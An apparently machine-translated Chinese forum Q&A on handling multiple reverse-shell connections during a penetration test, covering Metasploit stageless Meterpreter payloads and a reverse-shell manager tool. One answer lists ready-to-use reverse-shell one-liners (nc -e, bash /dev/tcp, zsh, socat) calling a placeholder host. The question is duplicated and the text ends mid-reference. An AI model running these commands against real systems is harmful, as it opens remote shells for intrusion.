我正在运行一个渗透测试,我期待来自多个外壳的反向外壳连接回来:-
nc <my-ip> <my-port> -e /bin/bash
但是,我试图找出管理这些传入连接的最佳方法。对与此相关的最佳实践有什么建议吗?我查看了 metasploits Meterpreter shell——但它似乎正在将有效负载发送回客户端。我不需要这个,我只需要正确处理连接。
我正在运行一个渗透测试,我期待来自多个外壳的反向外壳连接回来:-
nc <my-ip> <my-port> -e /bin/bash
但是,我试图找出管理这些传入连接的最佳方法。对与此相关的最佳实践有什么建议吗?我查看了 metasploits Meterpreter shell——但它似乎正在将有效负载发送回客户端。我不需要这个,我只需要正确处理连接。
Metasploit 有多个有效载荷,分为单一、阶段和阶段。单个有效负载全部封装在一个可执行文件中,不需要任何额外的下载。例如,payload/windows/shell_reverse_tcp 是一个单独的有效载荷,可以用作独立的可执行文件。
默认情况下,meterpreter 有效负载是分阶段的有效负载。如果您通过 msfconsole/msfpayload/msfvenom 生成它,则生成第一阶段,并在执行时从处理程序下载第二阶段 metsrv.dll。但是,Sherif Eldeeb 创建的 Metasploit 官方树之外还有一个独立的 Meterpreter 有效负载。您可以从Sherif Eldeep github 存储库下载它。
从 github 存储库中,下载 ultimet.zip 存档并生成独立的可执行文件,如下所示:
ultimet.exe -h <LHOST> -p <LPORT> -t "reverse_tcp" --msfpayload
-t 是您选择的传输方式。您也可以使用其他传输方式,例如反向/绑定 http(s)。上面的命令将在名为 REVERSE_TCP__LPORT.exe 的目录中创建一个新的可执行文件。这是一个独立的meterpreter 可执行文件,其中第二阶段metsrv.dll 封装在同一个可执行文件中。但是,请注意,reverse_https 传输当前存在一个错误,即每次连接到处理程序时连接都会崩溃。reverse_tcp 非常可靠。
使用 msfconsole 中的 ExitOnSession false 选项,您可以处理任意数量的会话。此外,我注意到通过Armitage可以更轻松地更有效地处理多个连接,但这只是一个偏好问题。msfconsole 在处理多个连接方面也非常出色,您可以使用资源脚本自动执行许多后期利用任务。
更新:从 pull request 4925开始,stageless Meterpreter 现在是 Metasploit 官方发行版的一部分。这不是对 Sharif 作品的整合,而是对 OJ Reeves 的完全重写。
您可能需要我创建的这个工具:
https://github.com/WangYihang/Reverse-Shell-Manager
这是一个通过终端的多个反向 shell 会话/客户端管理器。
攻击方: python Reverse-Shell-Manager.py 0.0.0.0 4444
受害者的一面
Linux:
nc -e /bin/bash 1.3.3.7 4444
bash -c 'bash -i >/dev/tcp/1.3.3.7/4444 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 1.3.3.7 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.3.3.7:4444
视窗:
nc.exe -e /bin/bash 1.3.3.7 4444
这里有两个视频可以帮助你: